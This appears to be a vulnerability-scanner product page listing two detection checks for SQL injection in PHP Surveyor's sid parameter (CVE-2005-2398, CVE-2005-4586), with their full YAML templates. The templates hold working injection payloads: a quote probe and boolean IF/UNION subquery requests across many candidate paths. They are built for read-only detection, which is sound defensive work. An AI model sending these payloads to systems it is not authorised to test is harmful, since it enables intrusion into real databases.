PHP Surveyor — 2 vulnerability checks

noctis ships 2 vulnerability checks for PHP Surveyor, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

PHP Surveyor sid SQL Injection

CVECVE-2005-2398
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/phpsurveyor/CVE-2005-2398.yaml

PHP Surveyor 0.98 appends the `sid` parameter of browse.php, export.php and admin.php, unquoted and unfiltered, to its SQL queries, allowing unauthenticated SQL injection.

This check first sends `sid=0'` and confirms the page prints a database result error while the same request with `sid=0` answers normally. It then proves the injection with three boolean requests whose outcome depends on the database computing the sum of two random numbers: a wrong sum must raise the database error, the right sum must not. Nothing is written and no data is read from the database.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{pg}}?sid=0
  3. HTTP(S) request GET {{pg}}?sid=0%27
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request GET {{pg}}?sid=0%20and%201%3DIF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad1}},1,(SELECT%201%20UNION%2…
  6. HTTP(S) request GET {{pg}}?sid=0%20and%201%3DIF({{sc.a}}%2B{{sc.b}}%3D{{sc.sum}},1,(SELECT%201%20UNION%20…
  7. HTTP(S) request GET {{pg}}?sid=0%20and%201%3DIF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad2}},1,(SELECT%201%20UNION%2…
  8. Parses / computes the next value with a Rhai script
  9. Checks bp.found for ^BOOL$ → finding QoD 97: Boolean SQLi confirmed on …: sid=0 and 1=IF(…+…=S,1,(SELECT 1 UNION SELECT 2)) raised a database result error for S=… and S=… but not for t…
  10. Checks qm.found for ^QUOTE$ → finding QoD 75: SQL injection: sid=0' on … made the page print a database result error (mysql_num_rows() on a failed query), while the control sid=0 (valid…

References:

Feed source — tests/vulnerabilities/phpsurveyor/CVE-2005-2398.yaml
# PHP Surveyor 0.98 — `sid` SQL injection in browse.php / export.php / admin.php (CVE-2005-2398)
#
# CVE mapping: the backlog issue lists CVE-2005-2380/2381/2398/2399 (one NASL
# for four advisories). NVD: 2398 = SQL injection through `sid` (browse.php,
# dataentry.php, export.php, admin.php, conditions.php, ...), 2399 = SQL errors
# from missing parameters, 2380 = XSS, 2381 = path disclosure. Only the SQL
# injection is proved here (CVE-2005-2398); the other three are not claimed.
#
# PHP Surveyor 0.98 appends the `sid` request parameter, unquoted, to its
# queries (WHERE sid=$sid) and passes the result to mysql_num_rows() /
# mysql_fetch_array(): a broken query prints "mysql_num_rows(): supplied
# argument is not a valid MySQL result resource".
#
# Source NASL (pre2008/php_surveyor_xss_sql.nasl) requests
# `<dir>/admin/admin.php?sid='` and greps the page title plus "not a valid
# MySQL result". This feed improves on it:
#   1. QoD 97 — boolean proof computed by the database: `sid=0 and
#      1=IF(A+B=S,1,(SELECT 1 UNION SELECT 2))` sent three times (S wrong,
#      right, wrong; random A/B). A wrong sum picks the two-row subquery and the
#      query fails; the right sum is valid SQL. Quote-free, write-free.
#   2. QoD 75 — the quote check with a control `sid=0` (valid SQL) that must
#      answer 200 without the error, so a page that always prints a warning
#      stays clean (the NASL would flag it, and it only needs the title).
# It also covers the other scripts the advisory names (browse.php, export.php),
# in the install root and under /phpsurveyor, /survey, /surveyor, /surveys.
#
# Read-only: no row is written and no data is extracted.
#
# Source: OpenVAS/Greenbone NASL pre2008/php_surveyor_xss_sql.nasl
#   (OID 1.3.6.1.4.1.25623.1.0.19494, GPL-2.0-only)
uid: 50b0e282-4c24-4a0f-b9a1-bcf41c9b908f
name: "PHP Surveyor sid SQL Injection (CVE-2005-2398)"
description: |
  PHP Surveyor 0.98 appends the `sid` parameter of browse.php, export.php and
  admin.php, unquoted and unfiltered, to its SQL queries, allowing
  unauthenticated SQL injection.

  This check first sends `sid=0'` and confirms the page prints a database
  result error while the same request with `sid=0` answers normally. It then
  proves the injection with three boolean requests whose outcome depends on the
  database computing the sum of two random numbers: a wrong sum must raise the
  database error, the right sum must not. Nothing is written and no data is
  read from the database.
cves: [CVE-2005-2398]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [phpsurveyor, sqli, boolean-based, error-based]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2005-2398"
  - "https://nvd.nist.gov/vuln/detail/CVE-2005-2399"
  - "https://nvd.nist.gov/vuln/detail/CVE-2005-2380"
  - "https://nvd.nist.gov/vuln/detail/CVE-2005-2381"

steps:
  # ── Random operands ───────────────────────────────────────────────────────
  - id: gen-operands
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      #{ a: a, b: b, sum: a + b, bad1: a + b + rand_int(1, 9), bad2: a + b - rand_int(1, 9) }
    store_as: sc

  # ── Per candidate page (loop group) ────────────────────────────────
  # Pre-initialise every stored result a script reads: a failed request leaves
  # store_as unset and an undefined var would abort the whole test.
  - id: init-ctl-resp
    action: set_var
    var_name: ctl_resp
    var_value: {status: 0, body: null}
    loop:
      over: ["/phpsurveyor/admin/admin.php", "/phpsurveyor/browse.php", "/phpsurveyor/admin/browse.php", "/phpsurveyor/export.php", "/phpsurveyor/admin/export.php", "/survey/admin/admin.php", "/survey/browse.php", "/survey/admin/browse.php", "/survey/export.php", "/survey/admin/export.php", "/admin/admin.php", "/browse.php", "/admin/browse.php", "/export.php", "/admin/export.php", "/surveyor/admin/admin.php", "/surveyor/browse.php", "/surveyor/admin/browse.php", "/surveyor/export.php", "/surveyor/admin/export.php", "/surveys/admin/admin.php", "/surveys/browse.php", "/surveys/admin/browse.php", "/surveys/export.php", "/surveys/admin/export.php"]
      var: pg

  - id: init-qm-resp
    action: set_var
    var_name: qm_resp
    var_value: {status: 0, body: null}

  - id: init-f1-resp
    action: set_var
    var_name: f1_resp
    var_value: {status: 0, body: null}

  - id: init-t-resp
    action: set_var
    var_name: t_resp
    var_value: {status: 0, body: null}

  - id: init-f2-resp
    action: set_var
    var_name: f2_resp
    var_value: {status: 0, body: null}

  # ── Stage 1: valid control, then the quote breaks the query ──────────────
  - id: ctl-probe
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{pg}}?sid=0"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: ctl_resp

  - id: qm-probe
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{pg}}?sid=0%27"
    condition: "ctl_resp.status == 200"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: qm_resp

  # A failed query reaches mysql_num_rows() in the page: PHP 4/5
  # print "supplied argument is not a valid MySQL result resource" (or
  # "expects parameter 1 to be resource"), PHP 8 a TypeError naming the
  # mysqli_* function; a mysqli exception prints the SQL error itself.
  - id: check-qm
    action: script
    code: |
      let re = "mysqli?_(num_rows|fetch_[a-z]+)\\(\\)|You have an error in your SQL syntax|Subquery returns more than 1 row";
      let body = if type_of(qm_resp.body) == "string" { qm_resp.body } else { "" };
      let cbody = if type_of(ctl_resp.body) == "string" { ctl_resp.body } else { "" };
      let hit = ctl_resp.status == 200 && !ereg(re, cbody) && ereg(re, body);
      #{ hit: hit, found: if hit { "QUOTE" } else { "" } }
    store_as: qm

  # ── Stage 2: boolean proof — the database must compute A+B ────────────────
  - id: bool-false-1
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{pg}}?sid=0%20and%201%3DIF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad1}},1,(SELECT%201%20UNION%20SELECT%202))"
    condition: "qm.hit"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: f1_resp

  - id: bool-true
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{pg}}?sid=0%20and%201%3DIF({{sc.a}}%2B{{sc.b}}%3D{{sc.sum}},1,(SELECT%201%20UNION%20SELECT%202))"
    condition: "qm.hit"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: t_resp

  - id: bool-false-2
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{pg}}?sid=0%20and%201%3DIF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad2}},1,(SELECT%201%20UNION%20SELECT%202))"
    condition: "qm.hit"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: f2_resp

  - id: check-bool
    action: script
    code: |
      let re = "mysqli?_(num_rows|fetch_[a-z]+)\\(\\)|You have an error in your SQL syntax|Subquery returns more than 1 row";
      let b1 = if type_of(f1_resp.body) == "string" { f1_resp.body } else { "" };
      let bt = if type_of(t_resp.body) == "string" { t_resp.body } else { "" };
      let b2 = if type_of(f2_resp.body) == "string" { f2_resp.body } else { "" };
      let ok = qm.hit && t_resp.status == 200 && ereg(re, b1) && !ereg(re, bt) && ereg(re, b2);
      #{ ok: ok, found: if ok { "BOOL" } else { "" } }
    store_as: bp

  - id: report-bool
    action: match
    source: bp.found
    pattern: "^BOOL$"
    condition: "bp.ok"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 97
        evidence: "Boolean SQLi confirmed on {{pg}}: sid=0 and 1=IF({{sc.a}}+{{sc.b}}=S,1,(SELECT 1 UNION SELECT 2)) raised a database result error for S={{sc.bad1}} and S={{sc.bad2}} but not for the correct sum S={{sc.sum}} (HTTP {{f1_resp.status}} / {{t_resp.status}} / {{f2_resp.status}})"
      stop: true

  - id: report-qm
    action: match
    source: qm.found
    pattern: "^QUOTE$"
    condition: "qm.hit"
    on_match:
      finding:
        confidence_delta: 0.50
        qod: 75
        evidence: "SQL injection: sid=0' on {{pg}} made the page print a database result error (mysql_num_rows() on a failed query), while the control sid=0 (valid SQL) did not (HTTP {{qm_resp.status}} / {{ctl_resp.status}})"
      stop: true

PHPSurveyor admin.php sid SQL Injection

CVECVE-2005-4586
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/phpsurveyor/CVE-2005-4586.yaml

PHPSurveyor before 0.991 appends the `sid` parameter of admin/admin.php, unquoted and unfiltered, to the SQL queries that build the survey summary (admin/html.php), allowing unauthenticated SQL injection.

This check first sends `sid=0'` and confirms the page prints a database result error (mysql_num_rows() on a failed query, or the SQL error itself) while the same request with `sid=0` answers normally. It then proves the injection with three boolean requests whose outcome depends on the database computing the sum of two random numbers: a wrong sum must raise the database error, the right sum must not. Nothing is written and no data is read from the database.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{cdir}}/admin/admin.php?sid=0
  3. HTTP(S) request GET {{cdir}}/admin/admin.php?sid=0%27
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request GET {{cdir}}/admin/admin.php?sid=0%20and%201%3DIF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad1}},1,(SE…
  6. HTTP(S) request GET {{cdir}}/admin/admin.php?sid=0%20and%201%3DIF({{sc.a}}%2B{{sc.b}}%3D{{sc.sum}},1,(SEL…
  7. HTTP(S) request GET {{cdir}}/admin/admin.php?sid=0%20and%201%3DIF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad2}},1,(SE…
  8. Parses / computes the next value with a Rhai script
  9. Checks bp.found for ^BOOL$ → finding QoD 97: Boolean SQLi confirmed on …/admin/admin.php: sid=0 and 1=IF(…+…=S,1,(SELECT 1 UNION SELECT 2)) raised a database result error for S=… and S…
  10. Checks qm.found for ^QUOTE$ → finding QoD 75: SQL injection: sid=0' on …/admin/admin.php made the page print a database result error (mysql_num_rows() on a failed query), while the cont…

References:

Feed source — tests/vulnerabilities/phpsurveyor/CVE-2005-4586.yaml
# PHPSurveyor < 0.991 — admin/admin.php `sid` SQL injection (CVE-2005-4586)
#
# admin/admin.php includes admin/html.php, which appends the `sid` request
# parameter, unquoted and unfiltered, to the survey summary queries, e.g.
#   SELECT * FROM <prefix>questions WHERE sid=$sid
# and hands each result to mysql_num_rows(): a broken query makes PHP print
# "mysql_num_rows(): supplied argument is not a valid MySQL result resource in
# .../admin/html.php" when errors are displayed. PHPSurveyor 0.991 (Dec 2005,
# mantis #286/#287) validates sid/lid/gid/token as integers.
#
# Source NASL (pre2008/phpSurveyor_sql_inject.nasl) requests
# `<dir>/admin/admin.php?sid=0'` under /phpsurveyor, /survey and the CGI dirs
# and greps that warning. This feed keeps that check as a fallback and goes
# further:
#   1. QoD 97 — boolean proof computed by the database: `sid=0 and
#      1=IF(A+B=S,1,(SELECT 1 UNION SELECT 2))` sent three times (S wrong,
#      right, wrong; random A/B). A wrong sum picks the two-row subquery and the
#      query fails ("Subquery returns more than 1 row", MySQL 4.1+ / MariaDB);
#      the right sum is valid SQL. Quote-free (magic_quotes safe), and
#      constant-folded, so it works on an install with no survey. Error / no
#      error / error proves the database evaluated our arithmetic.
#   2. QoD 75 — the NASL's quote check, plus a control `sid=0` (valid SQL)
#      that must answer 200 without the error: a page that always prints the
#      warning (broken install) stays clean, which the NASL would flag. Also
#      matches the mysqli_* / PHP 8 wording and the SQL error text itself.
# Beyond the NASL's dirs, the probe walks the install root and /surveyor,
# /surveys.
#
# Read-only: no row is written and no data is extracted.
#
# Source: OpenVAS/Greenbone NASL pre2008/phpSurveyor_sql_inject.nasl
#   (OID 1.3.6.1.4.1.25623.1.0.20376, GPL-2.0-only)
uid: 692fb1fa-bf42-437b-8b9d-6bfcb571e74a
name: "PHPSurveyor admin.php sid SQL Injection (CVE-2005-4586)"
description: |
  PHPSurveyor before 0.991 appends the `sid` parameter of admin/admin.php,
  unquoted and unfiltered, to the SQL queries that build the survey summary
  (admin/html.php), allowing unauthenticated SQL injection.

  This check first sends `sid=0'` and confirms the page prints a database
  result error (mysql_num_rows() on a failed query, or the SQL error itself)
  while the same request with `sid=0` answers normally. It then proves the
  injection with three boolean requests whose outcome depends on the database
  computing the sum of two random numbers: a wrong sum must raise the database
  error, the right sum must not. Nothing is written and no data is read from
  the database.
cves: [CVE-2005-4586]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [phpsurveyor, limesurvey, sqli, boolean-based, error-based]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2005-4586"
  - "https://www.securityfocus.com/bid/16077"
  - "http://www.phpsurveyor.org/mantis/view.php?id=286"
  - "http://www.phpsurveyor.org/mantis/view.php?id=287"

steps:
  # ── Random operands ───────────────────────────────────────────────────────
  - id: gen-operands
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      #{ a: a, b: b, sum: a + b, bad1: a + b + rand_int(1, 9), bad2: a + b - rand_int(1, 9) }
    store_as: sc

  # ── Per candidate install dir (loop group) ────────────────────────────────
  # Pre-initialise every stored result a script reads: a failed request leaves
  # store_as unset and an undefined var would abort the whole test.
  - id: init-ctl-resp
    action: set_var
    var_name: ctl_resp
    var_value: {status: 0, body: null}
    loop:
      over: ["/phpsurveyor", "/survey", "", "/surveyor", "/surveys"]
      var: cdir

  - id: init-qm-resp
    action: set_var
    var_name: qm_resp
    var_value: {status: 0, body: null}

  - id: init-f1-resp
    action: set_var
    var_name: f1_resp
    var_value: {status: 0, body: null}

  - id: init-t-resp
    action: set_var
    var_name: t_resp
    var_value: {status: 0, body: null}

  - id: init-f2-resp
    action: set_var
    var_name: f2_resp
    var_value: {status: 0, body: null}

  # ── Stage 1: valid control, then the quote breaks the query ──────────────
  - id: ctl-probe
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{cdir}}/admin/admin.php?sid=0"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: ctl_resp

  - id: qm-probe
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{cdir}}/admin/admin.php?sid=0%27"
    condition: "ctl_resp.status == 200"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: qm_resp

  # A failed query reaches mysql_num_rows() in admin/html.php: PHP 4/5
  # print "supplied argument is not a valid MySQL result resource" (or
  # "expects parameter 1 to be resource"), PHP 8 a TypeError naming the
  # mysqli_* function; a mysqli exception prints the SQL error itself.
  - id: check-qm
    action: script
    code: |
      let re = "mysqli?_(num_rows|fetch_[a-z]+)\\(\\)|You have an error in your SQL syntax|Subquery returns more than 1 row";
      let body = if type_of(qm_resp.body) == "string" { qm_resp.body } else { "" };
      let cbody = if type_of(ctl_resp.body) == "string" { ctl_resp.body } else { "" };
      let hit = ctl_resp.status == 200 && !ereg(re, cbody) && ereg(re, body);
      #{ hit: hit, found: if hit { "QUOTE" } else { "" } }
    store_as: qm

  # ── Stage 2: boolean proof — the database must compute A+B ────────────────
  - id: bool-false-1
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{cdir}}/admin/admin.php?sid=0%20and%201%3DIF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad1}},1,(SELECT%201%20UNION%20SELECT%202))"
    condition: "qm.hit"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: f1_resp

  - id: bool-true
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{cdir}}/admin/admin.php?sid=0%20and%201%3DIF({{sc.a}}%2B{{sc.b}}%3D{{sc.sum}},1,(SELECT%201%20UNION%20SELECT%202))"
    condition: "qm.hit"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: t_resp

  - id: bool-false-2
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{cdir}}/admin/admin.php?sid=0%20and%201%3DIF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad2}},1,(SELECT%201%20UNION%20SELECT%202))"
    condition: "qm.hit"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: f2_resp

  - id: check-bool
    action: script
    code: |
      let re = "mysqli?_(num_rows|fetch_[a-z]+)\\(\\)|You have an error in your SQL syntax|Subquery returns more than 1 row";
      let b1 = if type_of(f1_resp.body) == "string" { f1_resp.body } else { "" };
      let bt = if type_of(t_resp.body) == "string" { t_resp.body } else { "" };
      let b2 = if type_of(f2_resp.body) == "string" { f2_resp.body } else { "" };
      let ok = qm.hit && t_resp.status == 200 && ereg(re, b1) && !ereg(re, bt) && ereg(re, b2);
      #{ ok: ok, found: if ok { "BOOL" } else { "" } }
    store_as: bp

  - id: report-bool
    action: match
    source: bp.found
    pattern: "^BOOL$"
    condition: "bp.ok"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 97
        evidence: "Boolean SQLi confirmed on {{cdir}}/admin/admin.php: sid=0 and 1=IF({{sc.a}}+{{sc.b}}=S,1,(SELECT 1 UNION SELECT 2)) raised a database result error for S={{sc.bad1}} and S={{sc.bad2}} but not for the correct sum S={{sc.sum}} (HTTP {{f1_resp.status}} / {{t_resp.status}} / {{f2_resp.status}})"
      stop: true

  - id: report-qm
    action: match
    source: qm.found
    pattern: "^QUOTE$"
    condition: "qm.hit"
    on_match:
      finding:
        confidence_delta: 0.50
        qod: 75
        evidence: "SQL injection: sid=0' on {{cdir}}/admin/admin.php made the page print a database result error (mysql_num_rows() on a failed query), while the control sid=0 (valid SQL) did not (HTTP {{qm_resp.status}} / {{ctl_resp.status}})"
      stop: true

View these feeds on GitHub